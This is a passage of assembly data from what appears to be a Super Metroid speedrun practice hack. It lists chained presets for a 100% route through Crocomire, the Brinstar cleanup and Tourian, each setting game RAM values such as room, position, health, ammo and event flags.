dw #preset_hundo_crocomire_crocomire_2 ; Crocomire: Crocomire
dl $7E078D : db $02 : dw $944A ; DDB
dl $7E078F : db $02 : dw $0002 ; DoorOut Index
dl $7E079B : db $02 : dw $AB07 ; MDB
dl $7E07C5 : db $02 : dw $BBBD ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B6 ; GFX Pointers
dl $7E090F : db $02 : dw $4000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $056E ; Health
dl $7E09C4 : db $02 : dw $0577 ; Max helath
dl $7E09C6 : db $02 : dw $0085 ; Missiles
dl $7E09CA : db $02 : dw $000C ; Supers
dl $7E09CE : db $02 : dw $0019 ; Pbs
dl $7E09D0 : db $02 : dw $002D ; Max pbs
dl $7E0A1C : db $02 : dw $0009 ; Samus position/state
dl $7E0A1E : db $02 : dw $0108 ; More position/state
dl $7E0A68 : db $02 : dw $0001 ; Flash suit
dl $7E0AF6 : db $02 : dw $007C ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dl $7ED82A : db $02 : dw $0107 ; Events, Items, Doors
dl $7ED876 : db $02 : dw $E3BF ; Events, Items, Doors
dl $7ED8BA : db $02 : dw $DFFB ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0095 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_crocomire_grapple_shaft_up:
dw #preset_hundo_crocomire_grapple_shaft_down ; Crocomire: Grapple Shaft Down
dl $7E078D : db $02 : dw $9516 ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $AB8F ; MDB
dl $7E090F : db $02 : dw $F000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $05B0 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $B400 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0200 ; Screen Y position in pixels
dl $7E09A2 : db $02 : dw $732E ; Equipped Items
dl $7E09A4 : db $02 : dw $732F ; Collected Items
dl $7E09C6 : db $02 : dw $008A ; Missiles
dl $7E09C8 : db $02 : dw $00C3 ; Max missiles
dl $7E09CE : db $02 : dw $0018 ; Pbs
dl $7E0AF6 : db $02 : dw $0610 ; Samus X
dl $7E0AFA : db $02 : dw $028B ; Samus Y
dl $7ED876 : db $02 : dw $FBBF ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0098 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_crocomire_crocomire_room_revisit:
dw #preset_hundo_crocomire_grapple_shaft_up ; Crocomire: Grapple Shaft Up
dl $7E078D : db $02 : dw $947A ; DDB
dl $7E079B : db $02 : dw $AA82 ; MDB
dl $7E07C5 : db $02 : dw $E4BD ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B5 ; GFX Pointers
dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0002 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $053F ; Health
dl $7E09C6 : db $02 : dw $0093 ; Missiles
dl $7E09C8 : db $02 : dw $00C8 ; Max missiles
dl $7E09CA : db $02 : dw $000D ; Supers
dl $7E09CE : db $02 : dw $0019 ; Pbs
dl $7E0AF6 : db $02 : dw $01CD ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dl $7ED876 : db $02 : dw $FFBF ; Events, Items, Doors
dl $7ED8BA : db $02 : dw $DFFF ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0099 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_crocomire_croc_escape:
dw #preset_hundo_crocomire_crocomire_room_revisit ; Crocomire: Crocomire Room Revisit
dl $7E078D : db $02 : dw $93EA ; DDB
dl $7E078F : db $02 : dw $0001 ; DoorOut Index
dl $7E079B : db $02 : dw $A923 ; MDB
dl $7E090F : db $02 : dw $C001 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0C00 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $4800 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0015 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $053E ; Health
dl $7E09CA : db $02 : dw $000F ; Supers
dl $7E0A1C : db $02 : dw $000A ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0AF6 : db $02 : dw $0C8B ; Samus X
dl $7E0AFA : db $02 : dw $00AB ; Samus Y
dl $7ED8B8 : db $02 : dw $EEEF ; Events, Items, Doors
dl $7ED91A : db $02 : dw $009A ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_crocomire_business_center_climb_final:
dw #preset_hundo_crocomire_croc_escape ; Crocomire: Croc Escape
dl $7E078D : db $02 : dw $93AE ; DDB
dl $7E079B : db $02 : dw $AA0E ; MDB
dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $C400 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09C6 : db $02 : dw $0098 ; Missiles
dl $7E09C8 : db $02 : dw $00CD ; Max missiles
dl $7E09CA : db $02 : dw $000E ; Supers
dl $7E0A1C : db $02 : dw $0002 ; Samus position/state
dl $7E0A1E : db $02 : dw $0004 ; More position/state
dl $7E0AF6 : db $02 : dw $009D ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dl $7ED876 : db $02 : dw $FFFF ; Events, Items, Doors
dl $7ED91A : db $02 : dw $009B ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_brinstar_cleanup_2_below_spazer:
dw #preset_hundo_crocomire_business_center_climb_final ; Crocomire: Business Center Climb Final
dl $7E078D : db $02 : dw $A33C ; DDB
dl $7E079B : db $02 : dw $CF54 ; MDB
dl $7E079F : db $02 : dw $0004 ; Region
dl $7E07C3 : db $02 : dw $B130 ; GFX Pointers
dl $7E07C5 : db $02 : dw $3CBE ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B8 ; GFX Pointers
dl $7E07F3 : db $02 : dw $0012 ; Music Bank
dl $7E090F : db $02 : dw $A000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $D800 ; Screen subpixel Y position
dl $7E0A1C : db $02 : dw $000A ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0AF6 : db $02 : dw $00C7 ; Samus X
dw #$FFFF
.after
preset_hundo_brinstar_cleanup_2_red_tower_xray:
dw #preset_hundo_brinstar_cleanup_2_below_spazer ; Brinstar Cleanup: Below Spazer
dl $7E078D : db $02 : dw $910E ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $A3DD ; MDB
dl $7E079F : db $02 : dw $0001 ; Region
dl $7E07C3 : db $02 : dw $A5AA ; GFX Pointers
dl $7E07C5 : db $02 : dw $5FBC ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B3 ; GFX Pointers
dl $7E090F : db $02 : dw $E000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $0400 ; Screen subpixel Y position
dl $7E0A1C : db $02 : dw $0068 ; Samus position/state
dl $7E0A1E : db $02 : dw $0604 ; More position/state
dl $7E0AF6 : db $02 : dw $004A ; Samus X
dl $7E0AFA : db $02 : dw $0098 ; Samus Y
dw #$FFFF
.after
preset_hundo_brinstar_cleanup_2_red_brinstar_firefleas:
dw #preset_hundo_brinstar_cleanup_2_red_tower_xray ; Brinstar Cleanup: Red Tower X-Ray
dl $7E078D : db $02 : dw $90F6 ; DDB
dl $7E079B : db $02 : dw $A253 ; MDB
dl $7E090F : db $02 : dw $5000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $FBFF ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $061A ; Screen Y position in pixels
dl $7E09CE : db $02 : dw $0018 ; Pbs
dl $7E0A1C : db $02 : dw $00A7 ; Samus position/state
dl $7E0A1E : db $02 : dw $0004 ; More position/state
dl $7E0AF6 : db $02 : dw $0039 ; Samus X
dl $7E0AFA : db $02 : dw $068B ; Samus Y
dl $7ED8B6 : db $02 : dw $EAF9 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_brinstar_cleanup_2_red_brinstar_firefleas_2:
dw #preset_hundo_brinstar_cleanup_2_red_brinstar_firefleas ; Brinstar Cleanup: Red Brinstar Firefleas
dl $7E078D : db $02 : dw $905A ; DDB
dl $7E079B : db $02 : dw $A2CE ; MDB
dl $7E07F5 : db $02 : dw $0003 ; Music Track
dl $7E090F : db $02 : dw $8000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $8400 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09A2 : db $02 : dw $F32E ; Equipped Items
dl $7E09A4 : db $02 : dw $F32F ; Collected Items
dl $7E09C2 : db $02 : dw $04A9 ; Health
dl $7E09CA : db $02 : dw $000D ; Supers
dl $7E0A1C : db $02 : dw $0001 ; Samus position/state
dl $7E0A1E : db $02 : dw $0008 ; More position/state
dl $7E0A68 : db $02 : dw $0000 ; Flash suit
dl $7E0AF6 : db $02 : dw $0177 ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dl $7ED874 : db $02 : dw $1FCE ; Events, Items, Doors
dl $7ED8B6 : db $02 : dw $EEF9 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $009C ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_brinstar_cleanup_2_reverse_slinky:
dw #preset_hundo_brinstar_cleanup_2_red_brinstar_firefleas_2 ; Brinstar Cleanup: Red Brinstar Firefleas 2
dl $7E078D : db $02 : dw $902A ; DDB
dl $7E078F : db $02 : dw $0001 ; DoorOut Index
dl $7E079B : db $02 : dw $9FBA ; MDB
dl $7E07C3 : db $02 : dw $E6B0 ; GFX Pointers
dl $7E07C5 : db $02 : dw $64BB ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B2 ; GFX Pointers
dl $7E07F3 : db $02 : dw $000F ; Music Bank
dl $7E07F5 : db $02 : dw $0005 ; Music Track
dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $03C7 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $5C01 ; Screen subpixel Y position
dl $7E09C2 : db $02 : dw $0477 ; Health
dl $7E09CE : db $02 : dw $0017 ; Pbs
dl $7E0A1C : db $02 : dw $000A ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0AF6 : db $02 : dw $0467 ; Samus X
dl $7E0AFA : db $02 : dw $004B ; Samus Y
dw #$FFFF
.after
preset_hundo_brinstar_cleanup_2_retro_brinstar_hoppers:
dw #preset_hundo_brinstar_cleanup_2_reverse_slinky ; Brinstar Cleanup: Reverse Slinky
dl $7E078D : db $02 : dw $8EFE ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $9E52 ; MDB
dl $7E090F : db $02 : dw $5FFF ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $00E4 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $001D ; Screen Y position in pixels
dl $7E0A1C : db $02 : dw $0009 ; Samus position/state
dl $7E0A1E : db $02 : dw $0108 ; More position/state
dl $7E0AF6 : db $02 : dw $0155 ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dl $7ED91A : db $02 : dw $009D ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_brinstar_cleanup_2_retro_brinstar_etank:
dw #preset_hundo_brinstar_cleanup_2_retro_brinstar_hoppers ; Brinstar Cleanup: Retro Brinstar Hoppers
dl $7E078D : db $02 : dw $8E86 ; DDB
dl $7E078F : db $02 : dw $0001 ; DoorOut Index
dl $7E079B : db $02 : dw $9E9F ; MDB
dl $7E07F3 : db $02 : dw $0009 ; Music Bank
dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0573 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $5C00 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0200 ; Screen Y position in pixels
dl $7E09CE : db $02 : dw $001B ; Pbs
dl $7E09D0 : db $02 : dw $0032 ; Max pbs
dl $7E0A1C : db $02 : dw $0001 ; Samus position/state
dl $7E0A1E : db $02 : dw $0008 ; More position/state
dl $7E0AF6 : db $02 : dw $05D3 ; Samus X
dl $7E0AFA : db $02 : dw $02BB ; Samus Y
dl $7ED872 : db $02 : dw $CFEF ; Events, Items, Doors
dl $7ED91A : db $02 : dw $009E ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_brinstar_cleanup_2_billy_mays:
dw #preset_hundo_brinstar_cleanup_2_retro_brinstar_etank ; Brinstar Cleanup: Retro Brinstar E-Tank
dl $7E078D : db $02 : dw $8ECE ; DDB
dl $7E079B : db $02 : dw $9F64 ; MDB
dl $7E090F : db $02 : dw $A001 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0200 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $001D ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $05DB ; Health
dl $7E09C4 : db $02 : dw $05DB ; Max helath
dl $7E09CA : db $02 : dw $000C ; Supers
dl $7E09CE : db $02 : dw $001A ; Pbs
dl $7E0A1C : db $02 : dw $0002 ; Samus position/state
dl $7E0A1E : db $02 : dw $0004 ; More position/state
dl $7E0AF6 : db $02 : dw $0253 ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dl $7ED872 : db $02 : dw $EFEF ; Events, Items, Doors
dl $7ED8B6 : db $02 : dw $EEFD ; Events, Items, Doors
dl $7ED91A : db $02 : dw $00A0 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_brinstar_cleanup_2_billy_mays_escape:
dw #preset_hundo_brinstar_cleanup_2_billy_mays ; Brinstar Cleanup: Billy Mays
dl $7E078D : db $02 : dw $8FEE ; DDB
dl $7E079B : db $02 : dw $A1D8 ; MDB
dl $7E090F : db $02 : dw $4000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $C000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09C6 : db $02 : dw $00A2 ; Missiles
dl $7E09C8 : db $02 : dw $00D7 ; Max missiles
dl $7E0A1C : db $02 : dw $0009 ; Samus position/state
dl $7E0A1E : db $02 : dw $0108 ; More position/state
dl $7E0AF6 : db $02 : dw $00E0 ; Samus X
dl $7ED874 : db $02 : dw $1FFE ; Events, Items, Doors
dl $7ED91A : db $02 : dw $00A2 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_brinstar_cleanup_2_retro_brinstar_escape:
dw #preset_hundo_brinstar_cleanup_2_billy_mays_escape ; Brinstar Cleanup: Billy Mays Escape
dl $7E078D : db $02 : dw $8FE2 ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $9F64 ; MDB
dl $7E090F : db $02 : dw $6000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0200 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $C400 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0200 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $05D1 ; Health
dl $7E09C6 : db $02 : dw $00A7 ; Missiles
dl $7E09C8 : db $02 : dw $00DC ; Max missiles
dl $7E09CE : db $02 : dw $0019 ; Pbs
dl $7E0A1C : db $02 : dw $00A5 ; Samus position/state
dl $7E0A1E : db $02 : dw $0004 ; More position/state
dl $7E0AF6 : db $02 : dw $02D6 ; Samus X
dl $7E0AFA : db $02 : dw $02BB ; Samus Y
dl $7ED872 : db $02 : dw $FFEF ; Events, Items, Doors
dl $7ED91A : db $02 : dw $00A4 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_brinstar_cleanup_2_pit_room_2:
dw #preset_hundo_brinstar_cleanup_2_retro_brinstar_escape ; Brinstar Cleanup: Retro Brinstar Escape
dl $7E078D : db $02 : dw $8EB6 ; DDB
dl $7E078F : db $02 : dw $0002 ; DoorOut Index
dl $7E079B : db $02 : dw $97B5 ; MDB
dl $7E079F : db $02 : dw $0000 ; Region
dl $7E07C3 : db $02 : dw $F911 ; GFX Pointers
dl $7E07C5 : db $02 : dw $43BA ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2AF ; GFX Pointers
dl $7E07F5 : db $02 : dw $0003 ; Music Track
dl $7E090F : db $02 : dw $1000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $C000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E0A1C : db $02 : dw $0002 ; Samus position/state
dl $7E0AF6 : db $02 : dw $00EA ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dl $7ED91A : db $02 : dw $00A5 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_brinstar_cleanup_2_climb_supers:
dw #preset_hundo_brinstar_cleanup_2_pit_room_2 ; Brinstar Cleanup: Pit Room
dl $7E078D : db $02 : dw $8B92 ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $975C ; MDB
dl $7E07F5 : db $02 : dw $0005 ; Music Track
dl $7E090F : db $02 : dw $8001 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $47FE ; Screen subpixel Y position
dl $7E09C6 : db $02 : dw $00AC ; Missiles
dl $7E09C8 : db $02 : dw $00E1 ; Max missiles
dl $7E0AF6 : db $02 : dw $0045 ; Samus X
dl $7ED870 : db $02 : dw $E7FF ; Events, Items, Doors
dl $7ED91A : db $02 : dw $00A6 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_brinstar_cleanup_2_the_last_missiles:
dw #preset_hundo_brinstar_cleanup_2_climb_supers ; Brinstar Cleanup: Climb Supers
dl $7E078D : db $02 : dw $8B3E ; DDB
dl $7E079B : db $02 : dw $92FD ; MDB
dl $7E07C3 : db $02 : dw $C629 ; GFX Pointers
dl $7E07C5 : db $02 : dw $7CBA ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2AD ; GFX Pointers
dl $7E090F : db $02 : dw $8000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $4800 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0306 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $0541 ; Health
dl $7E09CA : db $02 : dw $0011 ; Supers
dl $7E09CC : db $02 : dw $0032 ; Max supers
dl $7E09CE : db $02 : dw $0017 ; Pbs
dl $7E0A1C : db $02 : dw $000A ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0AF6 : db $02 : dw $015E ; Samus X
dl $7E0AFA : db $02 : dw $039B ; Samus Y
dl $7ED870 : db $02 : dw $EFFF ; Events, Items, Doors
dl $7ED8B2 : db $02 : dw $2C09 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $00A7 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_brinstar_cleanup_2_the_last_missiles_escape:
dw #preset_hundo_brinstar_cleanup_2_the_last_missiles ; Brinstar Cleanup: The Last Missiles
dl $7E078D : db $02 : dw $8C82 ; DDB
dl $7E079B : db $02 : dw $9A90 ; MDB
dl $7E07C3 : db $02 : dw $F911 ; GFX Pointers
dl $7E07C5 : db $02 : dw $43BA ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2AF ; GFX Pointers
dl $7E090F : db $02 : dw $F000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $5400 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09C6 : db $02 : dw $00B1 ; Missiles
dl $7E09C8 : db $02 : dw $00E6 ; Max missiles
dl $7E09CE : db $02 : dw $0016 ; Pbs
dl $7E0A1C : db $02 : dw $0001 ; Samus position/state
dl $7E0A1E : db $02 : dw $0008 ; More position/state
dl $7E0AF6 : db $02 : dw $0057 ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dl $7ED870 : db $02 : dw $FFFF ; Events, Items, Doors
dl $7ED91A : db $02 : dw $00A8 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_tourian_metroids_1:
dw #preset_hundo_brinstar_cleanup_2_the_last_missiles_escape ; Brinstar Cleanup: The Last Missiles Escape
dl $7E078D : db $02 : dw $9222 ; DDB
dl $7E078F : db $02 : dw $0002 ; DoorOut Index
dl $7E079B : db $02 : dw $DAAE ; MDB
dl $7E079F : db $02 : dw $0005 ; Region
dl $7E07C3 : db $02 : dw $D414 ; GFX Pointers
dl $7E07C5 : db $02 : dw $EDBF ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2BA ; GFX Pointers
dl $7E07F3 : db $02 : dw $001E ; Music Bank
dl $7E090F : db $02 : dw $9000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $A000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0300 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $054B ; Health
dl $7E09C6 : db $02 : dw $00B5 ; Missiles
dl $7E09CA : db $02 : dw $0010 ; Supers
dl $7E0A1C : db $02 : dw $0008 ; Samus position/state
dl $7E0A1E : db $02 : dw $0004 ; More position/state
dl $7E0AF6 : db $02 : dw $0036 ; Samus X
dl $7E0AFA : db $02 : dw $038B ; Samus Y
dl $7ED820 : db $02 : dw $3FC1 ; Events, Items, Doors
dl $7ED8B2 : db $02 : dw $6C09 ; Events, Items, Doors
dl $7ED90C : db $02 : dw $0100 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $00AB ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_tourian_metroids_2:
dw #preset_hundo_tourian_metroids_1 ; Tourian: Metroids 1
dl $7E078D : db $02 : dw $A984 ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $DAE1 ; MDB
dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $014B ; Screen X position in pixels
dl $7E0913 : db $02 : dw $DC00 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $056C ; Health
dl $7E09C6 : db $02 : dw $00BF ; Missiles
dl $7E09CA : db $02 : dw $000F ; Supers
dl $7E09CE : db $02 : dw $0018 ; Pbs
dl $7E0A1C : db $02 : dw $0010 ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0AF6 : db $02 : dw $01EB ; Samus X
dl $7E0AFA : db $02 : dw $00AB ; Samus Y
dw #$FFFF
.after
preset_hundo_tourian_metroids_3:
dw #preset_hundo_tourian_metroids_2 ; Tourian: Metroids 2
dl $7E078D : db $02 : dw $A9B4 ; DDB
dl $7E078F : db $02 : dw $0001 ; DoorOut Index
dl $7E079B : db $02 : dw $DB31 ; MDB
dl $7E090F : db $02 : dw $1000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $6400 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $00FF ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $059D ; Health
dl $7E09C6 : db $02 : dw $00C7 ; Missiles
dl $7E09CA : db $02 : dw $0011 ; Supers
dl $7E09CE : db $02 : dw $001B ; Pbs
dl $7E0A1C : db $02 : dw $00A4 ; Samus position/state
dl $7E0A1E : db $02 : dw $0008 ; More position/state
dl $7E0AF6 : db $02 : dw $00BD ; Samus X
dl $7E0AFA : db $02 : dw $018B ; Samus Y
dl $7ED822 : db $02 : dw $0023 ; Events, Items, Doors
dl $7ED8C4 : db $02 : dw $0003 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_tourian_metroids_4:
dw #preset_hundo_tourian_metroids_3 ; Tourian: Metroids 3
dl $7E078D : db $02 : dw $A9CC ; DDB
dl $7E079B : db $02 : dw $DB7D ; MDB
dl $7E090F : db $02 : dw $C000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0500 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $5400 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $05DB ; Health
dl $7E09C6 : db $02 : dw $00D1 ; Missiles
dl $7E09CA : db $02 : dw $0010 ; Supers
dl $7E09CE : db $02 : dw $001D ; Pbs
dl $7E09D6 : db $02 : dw $0073 ; Reserves
dl $7E0A1C : db $02 : dw $0011 ; Samus position/state
dl $7E0A1E : db $02 : dw $0108 ; More position/state
dl $7E0AF6 : db $02 : dw $05A5 ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dl $7ED822 : db $02 : dw $0027 ; Events, Items, Doors
dl $7ED8C4 : db $02 : dw $0007 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_tourian_baby_skip:
dw #preset_hundo_tourian_metroids_4 ; Tourian: Metroids 4
dl $7E078D : db $02 : dw $AA14 ; DDB
dl $7E079B : db $02 : dw $DC65 ; MDB
dl $7E07F3 : db $02 : dw $0045 ; Music Bank
dl $7E07F5 : db $02 : dw $0006 ; Music Track
dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $3C00 ; Screen subpixel Y position
dl $7E09C6 : db $02 : dw $00D9 ; Missiles
dl $7E09CA : db $02 : dw $000F ; Supers
dl $7E09CE : db $02 : dw $001E ; Pbs
dl $7E09D6 : db $02 : dw $00E1 ; Reserves
dl $7E0A1C : db $02 : dw $000C ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0AF6 : db $02 : dw $0079 ; Samus X
dl $7E0AFA : db $02 : dw $00AB ; Samus Y
dl $7E0B3F : db $02 : dw $0002 ; Blue suit
dl $7ED822 : db $02 : dw $002F ; Events, Items, Doors
dl $7ED8C4 : db $02 : dw $002F ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_tourian_zeb_skip:
dw #preset_hundo_tourian_baby_skip ; Tourian: Baby Skip
dl $7E078D : db $02 : dw $AA5C ; DDB
dl $7E079B : db $02 : dw $DDC4 ; MDB
dl $7E07F3 : db $02 : dw $001E ; Music Bank
dl $7E07F5 : db $02 : dw $0005 ; Music Track
dl $7E090F : db $02 : dw $C000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0300 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $EC00 ; Screen subpixel Y position
dl $7E09CA : db $02 : dw $000D ; Supers
dl $7E0A1C : db $02 : dw $0007 ; Samus position/state
dl $7E0A1E : db $02 : dw $0008 ; More position/state
dl $7E0AF6 : db $02 : dw $03DB ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dl $7E0B3F : db $02 : dw $0000 ; Blue suit
dl $7ED8C4 : db $02 : dw $01AF ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_tourian_escape_room_3:
dw #preset_hundo_tourian_zeb_skip ; Tourian: Zeb Skip
dl $7E078D : db $02 : dw $AAEC ; DDB
dl $7E079B : db $02 : dw $DE7A ; MDB
dl $7E07F3 : db $02 : dw $0024 ; Music Bank
dl $7E07F5 : db $02 : dw $0007 ; Music Track
dl $7E090F : db $02 : dw $DFFF ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0095 ; Screen Y position in pixels
dl $7E09A6 : db $02 : dw $1009 ; Beams
dl $7E09C6 : db $02 : dw $007F ; Missiles
dl $7E09CA : db $02 : dw $0000 ; Supers
dl $7E09CE : db $02 : dw $0000 ; Pbs
dl $7E09D6 : db $02 : dw $0190 ; Reserves
dl $7E0A1C : db $02 : dw $0029 ; Samus position/state
dl $7E0A1E : db $02 : dw $0608 ; More position/state
dl $7E0A76 : db $02 : dw $8000 ; Hyper beam
dl $7E0AF6 : db $02 : dw $00DB ; Samus X
dl $7E0AFA : db $02 : dw $0105 ; Samus Y
dl $7ED820 : db $02 : dw $7FC5 ; Events, Items, Doors
dl $7ED82C : db $02 : dw $0203 ; Events, Items, Doors
dl $7ED8C4 : db $02 : dw $03AF ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_tourian_escape_parlor:
dw #preset_hundo_tourian_escape_room_3 ; Tourian: Escape Room 3
dl $7E078D : db $02 : dw $AB34 ; DDB
dl $7E079B : db $02 : dw $96BA ; MDB
dl $7E079F : db $02 : dw $0000 ; Region
dl $7E07C3 : db $02 : dw $F911 ; GFX Pointers
dl $7E07C5 : db $02 : dw $43BA ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2AF ; GFX Pointers
dl $7E090F : db $02 : dw $C000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels
